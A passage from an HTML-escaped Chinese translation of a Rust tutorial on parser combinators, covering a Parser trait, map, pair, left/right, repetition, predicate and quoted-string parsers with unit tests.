&lt;p&gt;现在，对于 trait，我们也需要在这里声明生命周期，并且当你使用该 trait 时，生命周期通常也是必须的。这是一个额外的输入，但它击败了以前的版本。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Parser&amp;lt;&amp;#x27;a, Output&amp;gt; {
    fn parse(&amp;amp;self, input: &amp;amp;&amp;#x27;a str) -&amp;gt; ParseResult&amp;lt;&amp;#x27;a, Output&amp;gt;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;它目前只有一个方法：&lt;code&gt;parse()&lt;&#x2F;code&gt;方法，它看起来似曾相识：它和我们之前编写的解析器函数基本相同。&lt;&#x2F;p&gt;
&lt;p&gt;为了让它更加简单，我们实际上可以为任何匹配解析器签名的函数实现这个 trait。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;impl&amp;lt;&amp;#x27;a, F, Output&amp;gt; Parser&amp;lt;&amp;#x27;a, Output&amp;gt; for F
where
    F: Fn(&amp;amp;&amp;#x27;a str) -&amp;gt; ParseResult&amp;lt;Output&amp;gt;,
{
    fn parse(&amp;amp;self, input: &amp;amp;&amp;#x27;a str) -&amp;gt; ParseResult&amp;lt;&amp;#x27;a, Output&amp;gt; {
        self(input)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过这种方式，我们不仅可以传递迄今为止已传递的相同函数作为解析器，并完全实现&lt;code&gt;Parser&lt;&#x2F;code&gt; trait，还可以使用其他类型作为解析器。&lt;&#x2F;p&gt;
&lt;p&gt;但是，更重要的是，它把我们从必须一直输入这些函数签名的噩梦中解救了出来。让我们重写&lt;code&gt;map&lt;&#x2F;code&gt;函数，并看它是如何工作的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn map&amp;lt;&amp;#x27;a, P, F, A, B&amp;gt;(parser: P, map_fn: F) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, B&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
    F: Fn(A) -&amp;gt; B,
{
    move |input|
        parser.parse(input)
            .map(|(next_input, result)| (next_input, map_fn(result)))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里需要特别注意的一件事是：我们现在必须执行&lt;code&gt;parser.parse(input)&lt;&#x2F;code&gt;，而不是将解析器作为函数调用，因为我们不知道类型&lt;code&gt;P&lt;&#x2F;code&gt;是否是函数，我们只知道它实现了&lt;code&gt;Parser&lt;&#x2F;code&gt;，并且我们必须使用&lt;code&gt;Parser&lt;&#x2F;code&gt;提供的接口。但是函数体看起来完全一样，类型看起来也更加简洁。只是有一个新的额外噪音：生命周期&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，但总的来说是一个很大的改进。&lt;&#x2F;p&gt;
&lt;p&gt;如果我们以相同的方式重新编写&lt;code&gt;pair&lt;&#x2F;code&gt;函数，会看起来更加简洁：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn pair&amp;lt;&amp;#x27;a, P1, P2, R1, R2&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, (R1, R2)&amp;gt;
where
    P1: Parser&amp;lt;&amp;#x27;a, R1&amp;gt;,
    P2: Parser&amp;lt;&amp;#x27;a, R2&amp;gt;,
{
    move |input| match parser1.parse(input) {
        Ok((next_input, result1)) =&amp;gt; match parser2.parse(next_input) {
            Ok((final_input, result2)) =&amp;gt; Ok((final_input, (result1, result2))),
            Err(err) =&amp;gt; Err(err),
        },
        Err(err) =&amp;gt; Err(err),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;和之前一样，这里唯一的改变就是类型签名更加简洁，并且需要执行&lt;code&gt;parser.parse(input)&lt;&#x2F;code&gt;而不是&lt;code&gt;parse(input)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;实际上，我们还可以简化&lt;code&gt;pair&lt;&#x2F;code&gt;函数的主题，通过使用&lt;code&gt;map&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn pair&amp;lt;&amp;#x27;a, P1, P2, R1, R2&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, (R1, R2)&amp;gt;
where
    P1: Parser&amp;lt;&amp;#x27;a, R1&amp;gt;,
    P2: Parser&amp;lt;&amp;#x27;a, R2&amp;gt;,
{
    move |input| {
        parser1.parse(input).and_then(|(next_input, result1)| {
            parser2.parse(next_input)
                .map(|(last_input, result2)| (last_input, (result1, result2)))
        })
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Result&lt;&#x2F;code&gt;的&lt;code&gt;and_then&lt;&#x2F;code&gt;方法和&lt;code&gt;map&lt;&#x2F;code&gt;类似，不同之处在于&lt;code&gt;map&lt;&#x2F;code&gt;函数不会返回新值到&lt;code&gt;Result&lt;&#x2F;code&gt;内部，而是返回一个新的&lt;code&gt;Result&lt;&#x2F;code&gt;。上面的代码与先前使用&lt;code&gt;match&lt;&#x2F;code&gt;块的版本效果相同。稍后我们将回到&lt;code&gt;and_then&lt;&#x2F;code&gt;，但是现在，既然我们有一个干净简洁的&lt;code&gt;map&lt;&#x2F;code&gt;，我们可以真正实现&lt;code&gt;left&lt;&#x2F;code&gt;，&lt;code&gt;right&lt;&#x2F;code&gt;组合子。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;left-and-right&quot;&gt;Left And Right&lt;&#x2F;h2&gt;
&lt;p&gt;有了&lt;code&gt;pair&lt;&#x2F;code&gt;和&lt;code&gt;map&lt;&#x2F;code&gt;，我们可以非常简洁的编写&lt;code&gt;left&lt;&#x2F;code&gt;和&lt;code&gt;right&lt;&#x2F;code&gt;组合子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn left&amp;lt;&amp;#x27;a, P1, P2, R1, R2&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, R1&amp;gt;
where
    P1: Parser&amp;lt;&amp;#x27;a, R1&amp;gt;,
    P2: Parser&amp;lt;&amp;#x27;a, R2&amp;gt;,
{
    map(pair(parser1, parser2), |(left, _right)| left)
}

fn right&amp;lt;&amp;#x27;a, P1, P2, R1, R2&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, R2&amp;gt;
where
    P1: Parser&amp;lt;&amp;#x27;a, R1&amp;gt;,
    P2: Parser&amp;lt;&amp;#x27;a, R2&amp;gt;,
{
    map(pair(parser1, parser2), |(_left, right)| right)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们使用&lt;code&gt;pair&lt;&#x2F;code&gt;组合子将两个解析器组合成一个解析器，然后使用&lt;code&gt;map&lt;&#x2F;code&gt;组合子选择其结果元组中我们想要保留的部分。&lt;&#x2F;p&gt;
&lt;p&gt;现在我们需要为元素标签的前两部分重写测试，使它更简洁一些，在此过程中，我们将获得了一些重要的新解析器组合子功能。&lt;&#x2F;p&gt;
&lt;p&gt;不过，我们必须先更新我们的两个解析器以使用&lt;code&gt;Parser&lt;&#x2F;code&gt;和&lt;code&gt;ParseResult&amp;lt;String&amp;gt;&lt;&#x2F;code&gt;。&lt;code&gt;match_literal&lt;&#x2F;code&gt;是更复杂的一个：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn match_literal&amp;lt;&amp;#x27;a&amp;gt;(expected: &amp;amp;&amp;#x27;static str) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, ()&amp;gt; {
    move |input: &amp;amp;&amp;#x27;a str| match input.get(0..expected.len()) {
        Some(next) if next == expected =&amp;gt; Ok((&amp;amp;input[expected.len()..], ())),
        _ =&amp;gt; Err(input),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了改变返回值类型之外，我们还必须确保闭包的输入类型是&lt;code&gt;&amp;amp;&#x27;a str&lt;&#x2F;code&gt;，否则 rustc 会报错。&lt;&#x2F;p&gt;
&lt;p&gt;对于&lt;code&gt;identifier&lt;&#x2F;code&gt;，只需更改返回值类型即可，编译器会自动为你推断生命周期。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn identifier(input: &amp;amp;str) -&amp;gt; ParseResult&amp;lt;String&amp;gt; {}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接下来进行测试，可以看见在结果中没有那个笨拙 (ungainly) 的&lt;code&gt;()&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn right_combinator() {
    let tag_opener = right(match_literal(&amp;quot;&amp;lt;&amp;quot;), identifier);
    assert_eq!(
        Ok((&amp;quot;&amp;#x2F;&amp;gt;&amp;quot;, &amp;quot;my-first-element&amp;quot;.to_string())),
        tag_opener.parse(&amp;quot;&amp;lt;my-first-element&amp;#x2F;&amp;gt;&amp;quot;)
    );
    assert_eq!(Err(&amp;quot;oops&amp;quot;), tag_opener.parse(&amp;quot;oops&amp;quot;));
    assert_eq!(Err(&amp;quot;!oops&amp;quot;), tag_opener.parse(&amp;quot;&amp;lt;!oops&amp;quot;));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;one-or-more&quot;&gt;One Or More&lt;&#x2F;h2&gt;
&lt;p&gt;让我们继续解析元素标签。我们已经解析了&lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;和标志符。然后呢？应该是我们的第一个属性对。&lt;&#x2F;p&gt;
&lt;p&gt;实际上这些属性对是可选的。我们需要找到一种方式来处理这种可选的标记。&lt;&#x2F;p&gt;
&lt;p&gt;等等，实际上在我们得到第一个可选属性对之前我们必须处理一些事情：空格。&lt;&#x2F;p&gt;
&lt;p&gt;在元素名称的末尾以及第一个属性名称(如果存在的话)的开头之间，存在一个空格。我们需要处理这个空格。&lt;&#x2F;p&gt;
&lt;p&gt;甚至更糟的是，我们需要处理一个或多个空格，因为``也是一个合法的语法，即使它的空格很多。所以这似乎是我们考虑是否可以编写一个组合子来表示一个或多个解析器想法的好时机。&lt;&#x2F;p&gt;
&lt;p&gt;我们在&lt;code&gt;identifier&lt;&#x2F;code&gt;解析器中已经处理过这个问题，但是一切都是在那里手动完成的。毫不奇怪，总体思路的代码并没有什么不同。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn one_or_more&amp;lt;&amp;#x27;a, P, A&amp;gt;(parser: P) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;A&amp;gt;&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
{
    move |mut input| {
        let mut result = Vec::new();

        if let Ok((next_input, first_item)) = parser.parse(input) {
            input = next_input;
            result.push(first_item);
        } else {
            return Err(input);
        }

        while let Ok((next_input, next_item)) = parser.parse(input) {
            input = next_input;
            result.push(next_item);
        }

        Ok((input, result))
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先，我们构建的解析器返回值类型是&lt;code&gt;A&lt;&#x2F;code&gt;，组合解析器的返回值类型是&lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt; - 任意数量的&lt;code&gt;A&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这个代码看起来确实和&lt;code&gt;identifier&lt;&#x2F;code&gt;很像。首先，我们解析第一个元素，如果不存在，则返回一个错误。然后我们尽可能多的解析元素，直到解析失败，此时我们返回包含收集元素的向量。&lt;&#x2F;p&gt;
&lt;p&gt;将上述代码修改为支持解析零次或多次的解析器也很简单，只需删除前部分&lt;code&gt;if&lt;&#x2F;code&gt;判断即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn zero_or_more&amp;lt;&amp;#x27;a, P, A&amp;gt;(parser: P) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;A&amp;gt;&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
{
    move |mut input| {
        let mut result = Vec::new();

        while let Ok((next_input, next_item)) = parser.parse(input) {
            input = next_input;
            result.push(next_item);
        }

        Ok((input, result))
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让我们编写测试用例以验证这两个解析器的功能符合预期。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn one_or_more_combinator() {
    let parser = one_or_more(match_literal(&amp;quot;ha&amp;quot;));
    assert_eq!(Ok((&amp;quot;&amp;quot;, vec![(), (), ()])), parser.parse(&amp;quot;hahaha&amp;quot;));
    assert_eq!(Err(&amp;quot;ahah&amp;quot;), parser.parse(&amp;quot;ahah&amp;quot;));
    assert_eq!(Err(&amp;quot;&amp;quot;), parser.parse(&amp;quot;&amp;quot;));
}

#[test]
fn zero_or_more_combinator() {
    let parser = zero_or_more(match_literal(&amp;quot;ha&amp;quot;));
    assert_eq!(Ok((&amp;quot;&amp;quot;, vec![(), (), ()])), parser.parse(&amp;quot;hahaha&amp;quot;));
    assert_eq!(Ok((&amp;quot;ahah&amp;quot;, vec![])), parser.parse(&amp;quot;ahah&amp;quot;));
    assert_eq!(Ok((&amp;quot;&amp;quot;, vec![])), parser.parse(&amp;quot;&amp;quot;));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请注意两者的不同之处：对于&lt;code&gt;one_or_more&lt;&#x2F;code&gt;，解析空字符串时会返回错误，因为它需要找到至少一个满足其子解析器的输入，但是对于&lt;code&gt;zero_or_more&lt;&#x2F;code&gt;，一个空字符串只是意味着没有满足条件的输入，它并不是一个错误。&lt;&#x2F;p&gt;
&lt;p&gt;鉴于此，可以考虑将这两个方法进行泛化，因为一个是另一个的副本，只是移除了一部分功能。用&lt;code&gt;zero_or_more&lt;&#x2F;code&gt;来表示&lt;code&gt;one_or_more&lt;&#x2F;code&gt;可能会很诱人 (tempt)。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn one_or_more&amp;lt;&amp;#x27;a, P, A&amp;gt;(parser: P) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;A&amp;gt;&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
{
    map(pair(parser, zero_or_more(parser)), |(head, mut tail)| {
        tail.insert(0, head);
        tail
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这里，我们遇到了 Rust 的一个问题，我甚至不是指&lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt;没有&lt;code&gt;cons&lt;&#x2F;code&gt;方法的问题，但我知道每个阅读那段代码的 Lisp 程序员都在思考这个问题：那就是所有权。&lt;&#x2F;p&gt;
&lt;p&gt;我们拥有这个解析器，所以我们不能将其作为参数传递两次，编译器会试图对你大喊，因为你试图移动一个已经移动的值。那么我们可以让组合子代替引用吗？不，事实证明，我们还遇到另一整套借用检查器的问题 - 我们目前不会试图解决这些问题。并且因为这些解析器是函数，所以它们不会实现&lt;code&gt;Clone&lt;&#x2F;code&gt;，该 trait 本来可以帮我们节省一整天的时间，所以我们被困在一个约束中，我们不能在组合子中轻易地复用我们的解析器。&lt;&#x2F;p&gt;
&lt;p&gt;不过，这不是一个大问题。它只是说明我们不能使用组合子来表达&lt;code&gt;one_or_more&lt;&#x2F;code&gt;，但事实证明，这两个通常是你需要的唯一组合子，它们往往会重用解析器，而且，如果你想变得非常花哨，除了解析器，你还可以编写一个带有&lt;code&gt;RangeBound&lt;&#x2F;code&gt;的组合子，并在一个范围内对其进行重复：&lt;code&gt;zero_or_more&lt;&#x2F;code&gt;使用&lt;code&gt;range(0..)&lt;&#x2F;code&gt;，&lt;code&gt;one_or_more&lt;&#x2F;code&gt;使用&lt;code&gt;range(1..)&lt;&#x2F;code&gt;，&lt;code&gt;five_or_six&lt;&#x2F;code&gt;使用&lt;code&gt;range(5..=6)&lt;&#x2F;code&gt;，依此类推。&lt;&#x2F;p&gt;
&lt;p&gt;不过，让我们把它留给读者作为练习。现在我们只需使用&lt;code&gt;zero_or_more&lt;&#x2F;code&gt;和&lt;code&gt;one_or_more&lt;&#x2F;code&gt;即可。&lt;&#x2F;p&gt;
&lt;p&gt;另一个练习可能是找到解决这些所有权问题的方法 - 也许可以通过将解析器包装在&lt;code&gt;Rc&lt;&#x2F;code&gt;中使其支持克隆？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-predicate-combinator&quot;&gt;A Predicate Combinator &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bodil.lol&#x2F;parser-combinators&#x2F;#a-predicate-combinator&quot;&gt;#&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;我们现在有了需要用 &lt;code&gt;one_or_more&lt;&#x2F;code&gt; 解析空白的 &lt;code&gt;xml&lt;&#x2F;code&gt; 块，并用 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 解析属性对。 其实，稍等一下。我们其实不想先解析空格 &lt;em&gt;然后&lt;&#x2F;em&gt; 解析属性 (&lt;code&gt;attributes&lt;&#x2F;code&gt;)。如果你考虑一下，如果没有属性，空格是可选的，我们可能会遇到直接的 &lt;code&gt;&amp;gt;&lt;&#x2F;code&gt; 或 &lt;code&gt;&#x2F;&amp;gt;&lt;&#x2F;code&gt;。但是如果有一个属性，那么&lt;em&gt;必须&lt;&#x2F;em&gt;是空格。幸运的是，每个属性之间也必须有空格，如果有多个，所以我们在这里真正看到的是一系列&lt;em&gt;零或更多&lt;&#x2F;em&gt;出现的&lt;em&gt;一个或多个&lt;&#x2F;em&gt;空格项，然后是属性。&lt;&#x2F;p&gt;
&lt;p&gt;我们首先需要一个解析单个空白项的解析器。我们可以选择下列三种方式之一。&lt;&#x2F;p&gt;
&lt;p&gt;一，我们可以愚蠢地使用我们的 &lt;code&gt;match_literal&lt;&#x2F;code&gt; 解析器和一个只包含一个空格的字符串。为什么这么傻？因为空格也是换行符、制表符和大量呈现为空格的奇怪 Unicode 字符。我们将不得不再次依赖 Rust 的标准库，当然 &lt;code&gt;char&lt;&#x2F;code&gt; 有一个 &lt;code&gt;is_whitespace&lt;&#x2F;code&gt; 方法，就像它有 &lt;code&gt;is_alphabetic&lt;&#x2F;code&gt; 和 &lt;code&gt;is_alphanumeric&lt;&#x2F;code&gt; 一样。&lt;&#x2F;p&gt;
&lt;p&gt;二，我们可以使用 &lt;code&gt;is_whitespace&lt;&#x2F;code&gt; Predicate 写出另外一个解析器，它消耗任意数量的空白字符，就像我们之前编写的 &lt;code&gt;identifier&lt;&#x2F;code&gt; 一样。&lt;&#x2F;p&gt;
&lt;p&gt;三，我们可以写的更加巧妙。编写一个解析器 &lt;code&gt;any_char&lt;&#x2F;code&gt;，它返回一个单一的 &lt;code&gt;char&lt;&#x2F;code&gt;，只要输入中还剩下一个，以及一个组合子 &lt;code&gt;pred&lt;&#x2F;code&gt;，它接受一个解析器和一个谓词 (Predicate）函数，并像这样将两者结合起来：&lt;code&gt;pred (any_char, |c| c.is_whitespace())&lt;&#x2F;code&gt;。这有一个额外的好处，通过它，编写我们将需要的最终的解析器变得非常容易：属性值的引用字符串。 &lt;code&gt;any_char&lt;&#x2F;code&gt; 解析器写起来很简单，但我们得记得注意那些 UTF-8 问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn any_char(input: &amp;amp;str) -&amp;gt; ParseResult&amp;lt;char&amp;gt; {
    match input.chars().next() {
        Some(next) =&amp;gt; Ok((&amp;amp;input[next.len_utf8()..], next)),
        _ =&amp;gt; Err(input),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对 &lt;code&gt;经验丰富&lt;&#x2F;code&gt; 的我们来说， &lt;code&gt;pred&lt;&#x2F;code&gt; 组合子也并没有给我们太多惊喜 。 我们调用解析器，然后我们在解析器成功的情况下调用我们的谓词函数，并且只有当它返回 true 时，我们才真正返回 &lt;code&gt;success&lt;&#x2F;code&gt;，否则我们将返回与解析器失败一致的错误。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn pred&amp;lt;&amp;#x27;a, P, A, F&amp;gt;(parser: P, predicate: F) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, A&amp;gt;
where
    P: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
    F: Fn(&amp;amp;A) -&amp;gt; bool,
{
    move |input| {
        if let Ok((next_input, value)) = parser.parse(input) {
            if predicate(&amp;amp;value) {
                return Ok((next_input, value));
            }
        }
        Err(input)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写一个快速测试以确保一切正常：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn predicate_combinator() {
    let parser = pred(any_char, |c| *c == &amp;#x27;o&amp;#x27;);
    assert_eq!(Ok((&amp;quot;mg&amp;quot;, &amp;#x27;o&amp;#x27;)), parser.parse(&amp;quot;omg&amp;quot;));
    assert_eq!(Err(&amp;quot;lol&amp;quot;), parser.parse(&amp;quot;lol&amp;quot;));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有了这两个组件，我们可以用一个快速的单行代码编写我们的 &lt;code&gt;whitespace_char&lt;&#x2F;code&gt; 解析器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn whitespace_char&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, char&amp;gt; {
    pred(any_char, |c| c.is_whitespace())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;并且，现在我们有了&lt;code&gt;whitespace_char&lt;&#x2F;code&gt;，我们也可以用它实现我们之前的想法，&lt;em&gt;一个或多个空白&lt;&#x2F;em&gt;，以及它的姊妹想法，&lt;em&gt;零个或多个空白&lt;&#x2F;em&gt;。 让我们专注于几个简单的地方，并分别称它们为&lt;code&gt;space1&lt;&#x2F;code&gt;和&lt;code&gt;space0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn space1&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;char&amp;gt;&amp;gt; {
    one_or_more(whitespace_char())
}

fn space0&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;char&amp;gt;&amp;gt; {
    zero_or_more(whitespace_char())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;quoted-strings&quot;&gt;Quoted Strings&lt;&#x2F;h2&gt;
&lt;p&gt;完成所有这些组件后，我们现在终于可以解析这些属性了吗？ 当然啦，我们只需要确保我们拥有所有这些属性组件的单独的解析器。 我们已经为属性名称提供了 &lt;code&gt;identifier&lt;&#x2F;code&gt;（尽管使用 &lt;code&gt;any_char&lt;&#x2F;code&gt; 和 &lt;code&gt;pred&lt;&#x2F;code&gt; 加上我们的 &lt;code&gt;*_or_more&lt;&#x2F;code&gt; 组合子来重写它是很诱人的）。 &lt;code&gt;=&lt;&#x2F;code&gt; 只是 &lt;code&gt;match_literal(&quot;=&quot;)&lt;&#x2F;code&gt;。 不过，我们只有一个带引号的字符串解析器，所以让我们把它组合起来。 幸运地是，我们已经拥有了完成它所需的所有组合子。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn quoted_string&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, String&amp;gt; {
    map(
        right(
            match_literal(&amp;quot;\&amp;quot;&amp;quot;),
            left(
                zero_or_more(pred(any_char, |c| *c != &amp;#x27;&amp;quot;&amp;#x27;)),
                match_literal(&amp;quot;\&amp;quot;&amp;quot;),
            ),
        ),
        |chars| chars.into_iter().collect(),
    )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;组合子的嵌套在这一点上变得有点烦人，但我们暂时不会重构所有代码来修复它，而是专注于这里发生的事情。&lt;&#x2F;p&gt;
&lt;p&gt;最外面的组合子是一个 &lt;code&gt;map&lt;&#x2F;code&gt;，因为前面提到的烦人的嵌套，从这开始理解代码是很让人困惑的，所以让我们试着找出它真正开始的地方：第一个引号字符。在&lt;code&gt;map&lt;&#x2F;code&gt;里面，有一个&lt;code&gt;right&lt;&#x2F;code&gt;，而&lt;code&gt;right&lt;&#x2F;code&gt;的第一部分就是我们要找的：&lt;code&gt;match_literal(&quot;\&quot;&quot;)&lt;&#x2F;code&gt;。那是我们的引号的开始 。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;right&lt;&#x2F;code&gt; 的第二部分是字符串的其余部分。在 &lt;code&gt;left&lt;&#x2F;code&gt; 里面，我们很快注意到那个 &lt;code&gt;left&lt;&#x2F;code&gt; 的 &lt;em&gt;right&lt;&#x2F;em&gt; 参数，我们一直忽视的那个: 是另一个 &lt;code&gt;match_literal(&quot;\&quot;&quot;)&lt;&#x2F;code&gt; - 引号的结束。所以左手部分是我们用引号包裹的字符串。&lt;&#x2F;p&gt;
&lt;p&gt;我们在这里利用新的 &lt;code&gt;pred&lt;&#x2F;code&gt; 和 &lt;code&gt;any_char&lt;&#x2F;code&gt; 来获得一个接受&lt;em&gt;除另一个引号之外的任何内容&lt;&#x2F;em&gt;的解析器，并将其放入 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 中，因此我们所说的实现如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个引号&lt;&#x2F;li&gt;
&lt;li&gt;后跟零个或多个&lt;em&gt;不是&lt;&#x2F;em&gt;另一个引号的内容&lt;&#x2F;li&gt;
&lt;li&gt;接着是另一个引号
并且，在 &lt;code&gt;right&lt;&#x2F;code&gt; 和 &lt;code&gt;left&lt;&#x2F;code&gt; 之间，我们丢弃结果值中的引号并取回引用的字符串。
但是等等，这不是一个字符串。还记得 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 返回什么吗？内部解析器的返回类型 A 的 &lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt;。对于&lt;code&gt;any_char&lt;&#x2F;code&gt;来说，就是&lt;code&gt;char&lt;&#x2F;code&gt;。那么，我们得到的不是字符串而是&lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt;。这就是 &lt;code&gt;map&lt;&#x2F;code&gt; 的用武之地：我们使用它把 &lt;code&gt;Vec&amp;lt;Element&amp;gt;&lt;&#x2F;code&gt; 转换为 &lt;code&gt;String&lt;&#x2F;code&gt;，因为你可以从 &lt;code&gt;Iterator&amp;lt;Item = char&amp;gt;&lt;&#x2F;code&gt; 构建一个 &lt;code&gt;String&lt;&#x2F;code&gt;，所以我们可以调用 &lt;code&gt;vec_of_chars.into_iter().collect()&lt;&#x2F;code&gt;，并且由于类型推断的强大功能，我们有了 &lt;code&gt;String&lt;&#x2F;code&gt;。
在我们继续之前，让我们编写一个快速测试以确保一切正常，因为如果我们需要这么多词来解释它，这可能不是我们作为程序员对自己有信心的样子。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
